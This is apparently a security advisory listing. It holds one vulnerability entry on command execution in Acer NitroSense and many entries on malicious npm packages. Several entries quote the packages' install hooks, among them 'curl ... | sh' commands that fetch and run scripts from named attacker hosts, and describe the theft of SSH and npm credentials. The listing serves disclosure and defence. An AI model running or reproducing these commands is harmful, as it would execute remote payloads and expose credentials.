CVE-2026-50227

An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software (versions up to and including 5.2.62 ). This vulnerability allows the attacker to invoke exposed ddsc RPC functions , specifically child_process.execSync() , which ca...

EUVD-2026-85151

An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software versions up to and including 5.2.62. This allows the attacker to invoke exposed ddsc RPC functions, including childprocess.execSync, resulting in arbitrary command...

CVE-2026-50227 MQTT WebSocket Command Execution Vulnerability in NitroSense

An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software versions up to and including 5.2.62. This allows the attacker to invoke exposed ddsc RPC functions, including childprocess.execSync, resulting in arbitrary command...

CVE-2026-50227 MQTT WebSocket Command Execution Vulnerability in NitroSense

An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software versions up to and including 5.2.62. This allows the attacker to invoke exposed ddsc RPC functions, including childprocess.execSync, resulting in arbitrary command...

CVE-2026-50227: Missing Authentication for Critical Function

An unauthenticated local attacker can connect to the MQTT broker over its localhost WebSocket endpoint in Acer NitroSense software versions up to and including 5.2.62. This allows the attacker to invoke exposed ddsc RPC functions, including childprocess.execSync, resulting in arbitrary command...

Malicious code in n8n-nodes-data-transformer-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 77b996187dc49e5591ddf3cef428be3a9309e7f5bab48bd4698aed2be0c3dfb0 The package's postinstall.js runs automatically on npm install and combines childprocess.execSync with http/https.request and multiple curl invocatio...

Malicious code in code-analyzer-mcp (npm)

Source: amazon-inspector 41c70b60414be4e045ae4c1eff1ab33b674c78cc9e2eadadfbdca6317de3a251 index.js contains a top-level IIFE that runs unconditionally when the MCP server is launched via the package's main/bin entry. The IIFE spawns calc.exe through childprocess.execSync and runs reconnaissance...

Malicious code in @yuva2210/okx-poc-rce-impact (npm)

Source: amazon-inspector 1917fdda46d566300463afdd1087755e9cf50203f4997455f9ee888e01782124 @yuva2210/[email protected] is a dependency-confusion proof-of-concept targeting OKX's internal namespace. The package's package.json declares a preinstall script that runs on npm install and executes...

Malicious code in grafeno-sdk (npm)

Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh', shell:'/bin/bash', wrapped in a try/catch that silently discards errors...

Malicious code in grafeno-logger (npm)

Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via childprocess.execSync, fetching and executing an arbitra...

Malicious code in @lilsccott6x9/devpipe-connector (npm)

Source: amazon-inspector e8615ec2381e2fc36518a5f991f1a132ffe8c86fc458a7072585bb950644eb1f The package's postinstall lifecycle hook package.json declares postinstall=node scripts/setup.js decodes base64-encoded shell command strings and executes them via childprocess.execSync. The setup.js script...

MAL-2026-14203 Malicious code in @lilsccott6x9/devpipe-connector (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e8615ec2381e2fc36518a5f991f1a132ffe8c86fc458a7072585bb950644eb1f The package's postinstall lifecycle hook package.json declares postinstall=node scripts/setup.js decodes base64-encoded shell command strings and...

Malicious code in @zzzgenesis00/solana-spl-token (npm)

Source: amazon-inspector 985d4d8e5069084334daa08512249314d36d9fa8662adef050021c2400dacbdd @zzzgenesis00/[email protected] impersonates the Solana SPL Token package and runs postinstall.js on npm install. The script harvests host identity, reads /.ssh, /.npmrc, and /.gitconfig, probes...

Malicious code in @jacksher/install-exec-poc (npm)

Source: amazon-inspector d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423 package.json declares postinstall: node beacon.js. On every npm install, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fire...

MAL-2026-13948 Malicious code in debug-proxy-chrome-devtools (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b7a0986932a47f49b162ea0438acfd0b6293e027e8ac2da46eb1221c5d52646c [email protected] declares a postinstall hook "postinstall": "node install.js" that automatically executes on npm install. install.js...

Malicious code in @years17/n8n-nodes-utils-helper-b (npm)

Source: amazon-inspector 55dc5bbe5a3b2dfb5bf97920ee68027b585bc2b21f4388e88a25986318754397 The package runs credential-harvesting recon both from its postinstall script and from its main entry executed at require time. The postinstall collects id/hostname, docker socket state, sudo -n -l, docker p...

Malicious code in mangomind-agent (npm)

Source: amazon-inspector 6512bd1cea27977e679186d569d524555fdf0ed5ea9e4b965aa640b1ae8326cb src/index.js opens a persistent WebSocket to a hardcoded default relay at wss://relay.mangomindbd.com and dispatches on message types received from that remote endpoint. On messages of type 'diagnosis' with...

Malicious code in @chnayser/server (npm)

Source: amazon-inspector bdabed9cce6fadeadd8cdbed43b435030ae2e1807a6b13b2815ac6389cfd1c65 The package's Express server started via the advertised startServer/createApp entry points mounts a GET route at /api/update whose handler executes curl https://npm.nzeros.me/chnayser | sh via...

Malicious code in truffle-js (npm)

Source: amazon-inspector 52bd5b41de871fbbc8c5895f63dfec08ba2ff6ecb9ea03fa6fdb5d9245c74616 The package.json lifecycle script invokes require'childprocess'.execSync with a curl command at install time. Running curl through childprocess during an npm install lifecycle hook causes any installer to...

Malicious code in prisma-callback (npm)

Source: amazon-inspector 1aab2820bfb9036995418ba2b36887f8970d7deaa69d8bc4aa24e36266bf18d1 [email protected] is a name-confusion package against the genuine prisma ORM. Its package.json declares "preinstall": "node./scripts/only-allow-pnpm.js pnpm"; despite the misleading filename, that script...